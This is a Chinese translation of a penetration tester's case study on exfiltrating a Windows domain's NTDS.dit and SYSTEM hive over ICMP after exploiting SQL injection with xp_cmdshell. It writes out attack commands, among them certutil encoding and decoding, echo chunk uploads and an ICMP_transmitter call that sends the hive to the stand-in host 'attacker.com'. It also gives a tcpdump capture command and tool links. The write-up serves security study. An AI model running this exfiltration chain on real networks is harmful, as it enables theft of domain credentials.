ICMP隧道进行文件传输 - 一个学习的case

admin 2022年2月28日12:40:13评论453 views字数 2960阅读9分52秒阅读模式

在最近的一个渗透测试项目中,我们遇到的一种情况,服务器上不允许出站流量。只有ICMP(和DNS)的流量被允许。在这篇博客文章我们来讨论如何使用ICMP隧道传输一个未被过滤的数据。

设定一个场景,场景是一个web应用程序的渗透测试。该web应用程序是唯一可用的连在客户的内网上的,提供了一个VPN访问应用程序。该VPN只允许我们连接到这台主机(Web服务器IP)和一个端口(443)。

攻击

事实证明,我们成功地做到这一点:

web应用程序存在sql注入漏洞。

web应用程序使用sa连接到mssql数据库。

我们可以使用xp_cmdshell来执行系统命令(sqlmap),需要注意的是通过SQL注入获得的shell不是交互式的。我们发出命令首先被存储在数据库中的表,然后通过SQL查询中读出。另外,站库分离。 Web服务器没有以外的任何端口

SQLServer并不是以system权限运行的,但是是一个域管理员帐户(domain sqlsvc)。

结果,我们获得了域控。

阻碍

主机在内部域中没有外出的流量,我们试图寻找代理服务器,然后并没有找到,唯一的连接只允许ICMP和DNS流量。所以,我们现在所面临的问题是:

1.怎么不通过借助工具来获取管理的hash(metasploit, fgdump, pwdump等)。

2.即使我们获得了hash,那么我怎么把他导出到我们的机器上进行离线破解。

问题1很快被解决了,我们从一个有趣的博客上找到了方法,使用Volume Shadow Copies技术获取了NTDS.dit和system.hive这两个文件。

现在我们有了hive的文件,我们需要把他发送到我们的机器上进行离线破解,我们希望有这么一个工具,能够把hive文件以icmp数据包的形式从目标机上发送到我们的机器上,然后还需要一个数据包捕获工具,捕获所有的请求(ping)流量。

我们找到了一些现有的关于icmp隧道的工具,但是问题是:

1.貌似现有的工具中没有能够传递文件的。

2.我们怎么把客户端传到目标机上面。

所以我们研究了一下,并且找到了方法!

1.把hive转换为base64。

2.把这个base64的文本文件分割为小块。

3.使用分割后的块创建一个icmp隧道,使之跟我们的服务器具有相同的序列号。

4.在我们的机器上运行流量捕获工具捕获流量。

5.当接收到所有数据之后,删除所有的请求头,删除所有包含ping请求的数据。

6.在我们的机器上进行base64解码。

幸运的是,windows默认安装了一个名为certutil的软件,能够轻松帮助我们进行base64的编码。

然后我们使用certutil对hive文件进行base64编码。

ICMP隧道进行文件传输 - 一个学习的case
当我们有编码后的文件,我们需要创建成块,使用ICMP发送到我们的服务器。这是比较

蛋疼的,所以我们创建了一个python脚本,把base64编码的文本作为输入将其划分成块,以ICMP的请求方式把每块发送到指定的公网IP地址的。
然后我们还得把py文件转换成exe文件,因为windows默认不装python的,可以使用py2exe,下面是一个示例代码片段。

from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup(     options = {'py2exe': {'bundle_files': 1, 'compressed': True}},     windows = [{'script': "ICMP.py"}],     zipfile = None, )

要注意的是,当我们使用bundle_files选项来转换文件的时候,将会输出一个独立的可执行文件,包含所有需要的模块和使用的python解释器(废话多啊阿西吧)。

现在有了exe文件,那么我们怎么把这个卵传到目标机上呢,看下面

1.使用certutil把exe转换为base64编码的文本。

ICMP隧道进行文件传输 - 一个学习的case
2.大概80kb吧,我们决定把它转换成块,8000个字符一行,大概660行。要注意的是echo命令有限制长度的,所以使用这个方法。

3.所以我们有660行左右的web请求,实质上是通过sqlmap来执行的。

cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt

4.然后我们执行以下命令,最终在目标上面的到了exe文件。

certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe

现在我们就来执行exe文件,要传递的文件和接受的地址作为参数,看下面。

ICMP_transmitter.exe "hive" "attacker.com"

它使用certutil把hive文件转换为base64编码,创建块,并且以icmp的方式发送块。

在我们的服务器上使用tcpdump来捕获所有的icmp流量,保存为pcap文件,当传输完成之后,通过tcpdump的参数建立base64编码的文件,当最终的文件确定之后,使用certutil来转换。

tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt

文件的完整性可以对比传输前后的md5值。

步骤

  1. 使用certutil计算目标机上文件的md5值。

    ICMP隧道进行文件传输 - 一个学习的case

  2. 在我们的机器上启动tcpdump捕获所有的icmp数据包。

    ICMP隧道进行文件传输 - 一个学习的case

  3. 使用ICMP_transmitter.exe把hive文件传输到我们的机器上。

  4. ICMP隧道进行文件传输 - 一个学习的case

  5. 当传输结束之后,使用ctrl+c来结束tcpdump的进程,输出的文件是pcap后缀或txt后缀可以使用-w参数来指定。

    ICMP隧道进行文件传输 - 一个学习的case

  6. 使用parser.sh来解析输出文件,获取到了干净的base64编码的文件命名为transmitted.txt

    ICMP隧道进行文件传输 - 一个学习的case

  7. 如果你的系统是windows那么同样使用certutil命令来把transmitted.txt文件转换为hive文件,如果是linux/mac系统,那么使用base64 -d命令。然后再检查下md5是否相同。

    ICMP隧道进行文件传输 - 一个学习的case

可能不是个优雅的方法,但是确实奏效了。

文章里面的脚本:

icmp_transmitter.py:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/blob/master/icmp_transmitter.py

icmp_tranmitter.exe:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/releases/download/0.1/icmp_tranmitter.exe

parser.sh:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/blob/master/parser.sh


原文:https://www.notsosecure.com/2015/10/15/icmp-tunnels-a-case-study/

翻译:小歪(关注安全技术公众号)

转载请注明。

本文始发于微信公众号(关注安全技术):ICMP隧道进行文件传输 - 一个学习的case

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月28日12:40:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ICMP隧道进行文件传输 - 一个学习的casehttp://cn-sec.com/archives/502969.html

发表评论

匿名网友 填写信息